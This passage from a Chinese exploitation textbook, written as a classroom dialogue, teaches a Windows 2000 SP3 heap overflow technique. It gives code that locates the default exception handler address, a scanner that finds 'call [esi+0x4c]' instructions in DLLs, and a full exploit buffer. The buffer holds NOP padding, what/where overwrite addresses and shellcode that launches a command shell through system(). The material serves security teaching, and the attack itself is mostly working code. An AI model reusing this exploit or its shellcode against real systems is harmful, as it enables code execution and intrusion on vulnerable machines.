4.2.6 定位的改进——call [esi+0x4c]
老师小结了一下:“默认异常处理地址在Win2000 SP3下是0x77ec044c。但在不同系统、不同SP下,其值是不一样的。我们可像刚才一样,用IDA反汇编kernel32.dll分析,但很麻烦;也可用isno写的GetTopSeh.c来获得默认异常处理地址,程序如下,我加上了一些注释。”
#include <stdio.h>
#include <windows.h>
void main()
{
unsigned int sehaddr;
int *un;
HMODULE hk = LoadLibrary("KERNEL32.dll");
un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
//找到SetUnhandledExceptionFilter函数的地址
_asm{
mov eax,un
add eax,5
mov ebx,[eax]?
mov sehaddr,ebx //函数开始的第5个字节就是默认异常处理地址。
}
printf("the top seh: 0x%x\r\n",sehaddr); //将默认异常处理地址打印出来
_getch();
return;
}
“对比IDA里面的代码,应该很容易理解,程序是读出SetUnhandledExceptionFilter函数开始后第5个字节的内容,即异常处理指针的存放位置,然后打印出来。执行效果如图4-24,在我的Win2000 SP3机器上,默认异常处理地址是0x77ec044c。”
“有了这个方便多了!”大家说道,“我们可把所有系统的默认异常处理地址都读出来,然后存储起来供以后使用。”
“但是……”古风问道:“where是可以正确确定了,但what呢?还是不能确定啊!”
“对!刚才ShellCode的地址是在主程序里直接读出来的,虽然我们可用NOP暴力扩大ShellCode的范围,但通用性始终不好。我们将它改进一下吧!”老师说道。
“怎么改进呢?有什么东西指向堆的数据吗?”古颇感兴趣。
“呵呵,Windows 2000作顶层异常处理时,esi+0x4C正好指向下一个堆管理结构,如图4-25。大家想想,怎么做可以改进定位呢?”
大家个个眉头紧蹙。
“哦!”宇强一下叫了出来,“我们把what覆盖成 call [esi+0x4c] 的地址。这样异常发生时,系统就会执行 call [esi+0x4c] ,从而到达下一个空闲堆的管理结构中。在那里,我们放上 JMP 0F 指令,就可跳过后面的what和where,最后到达ShellCode。”
“呵呵,很好,上来画一下示意图吧!”老师鼓励道。
宇强走上讲台,拿起粉笔,画出了图4-26所示的利用思路。
“首先覆盖what为 call [esi+0x4c] 的地址,where为默认异常处理的地址0x77EC044C,” 宇强边画边解释,“这样wha→where 操作时,0x77EC044C就会被覆盖成 call [esi+0x4c] 的地址;如果发生顶层异常处理,就会跳到 call [esi+0x4c] 指令的地方;一执行 call [esi+0x4c] 就到了我们能操控数据的位置。”
“嗯!就是这样!”大家都很赞同宇强的的说法。
“但有个地方还不明白,什么时候会发生默认异常处理呢?”宇强从台上下来时问。
“很好!”老师说道,“大家都要向宇强学习啊!要敢于表达自己的思想,也要敢于提出自己的问题!只有经过思考,大家的思维才能得到锻炼和提高。”
“而发生异常处理的时间,是what→where后,有一个where→what+4的操作,如果保证what+4的地址不可写,那就可以引发顶层异常处理了。”
“哦,这下思路清楚了。”古风一下子明白了。
“我们赶紧合起来利用吧!”同学们都迫不及待。
“但是,” 老师提醒道,“大家发现没有, call [esi+0x4C] 的地址是多少呢?我们还没有呢!”
“对啊! call [esi+0x4C] 的地址还没找呢!”
“我们可把查找JMP ESP的程序FindJmpEsp.cpp稍微改进一下,让它可以找其他指令。我们先找到 call [esi+0x4C] 的机器码是什么,然后在各个dll中找这样的机器码。”老师说。
“首先,我们写一个简单的嵌套汇编的程序,如下:”
__asm
{
call [esi+0x4C]
}
“和前几节课的方法一样,我们在VC中按F10调试,再点‘Debug’工具栏中的‘Dissassble’按钮,然后点鼠标右键,在弹出菜单中选中‘code byte’,此时会出现 call [esi+0x4C] 的机器码了。如图4-27。”
“这下我们知道了 call [esi+0x4C] 的机器码是FF 56 4C,我们把FindJmpEsp.cpp改成在dll中找机器码FF 56 4C的程序(FindCallEsi4C.cpp),如下:”
#include<iostream.h>
#include<windows.h>
int main(int argc, char ** argv)
{
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = "User32"; //默认查找user32.dll里面的指令
if(argc>1)
{
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname); //加载dll
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++) //在dll中查找FF 56 4c并打印
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0x56 && ptr[y+2] == 0x4c )
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h); //释放dll
return 0;
}
“这个程序如果不带参数,默认在user32.dll中查找机器码;也可将要查找的dll名作为参数运行。在VC环境下,设置程序的参数步骤如下:先点击‘工程→设置’(图4-28)。”
“然后在工程设置对话框中选择‘Debug’栏,在‘程序变量’一栏填写要查找的dll名称,这里我们还是填成user32.dll(图4-29)。”
“设置好后,编译、运行,我们可以看到,在user32.dll中找到了一个,地址是0x77e2f91f。如图4-30。”
“哦!这下可以得到构造字符串的示意图了。”同学们画下了图4-31。
“嗯,下面我们就按照这个图构造出数组‘mybuf’,以实现覆盖,如下:”老师说道。
char mybuf[450] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //上面先用200字节填充“buf1”
"\xeb\x12\x90\x90\x90\x90\x90\x90" //8字节堆管理结构,eb 12跳过what和where
"\x1f\xf9\xe2\x77" //覆盖what,call[esi+0x4c]在user32中的地址
"\x4c\x04\xec\x77" //覆盖where,TOP SEH在2000中文SP3的地址
//下面是Win2000 SP3下开DOS窗口的ShellCode,参看第二章
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
"\xFF\xD0";
“大家注意,我们找的 call [esi+0x4C] 的指令地址是在user32.dll里面,所以要先LoadLibrary(“user32”),以保证加载了user32.dll动态链接库,具体利用程序参看vul1Callesi.c(光盘有收录)。编译、执行,还是弹出了一个DOS对话框!如图4-32。”
“也成功了!”大家都非常高兴。
“好,明白了堆溢出利用的原理,我们来尝试一个真正的漏洞吧!”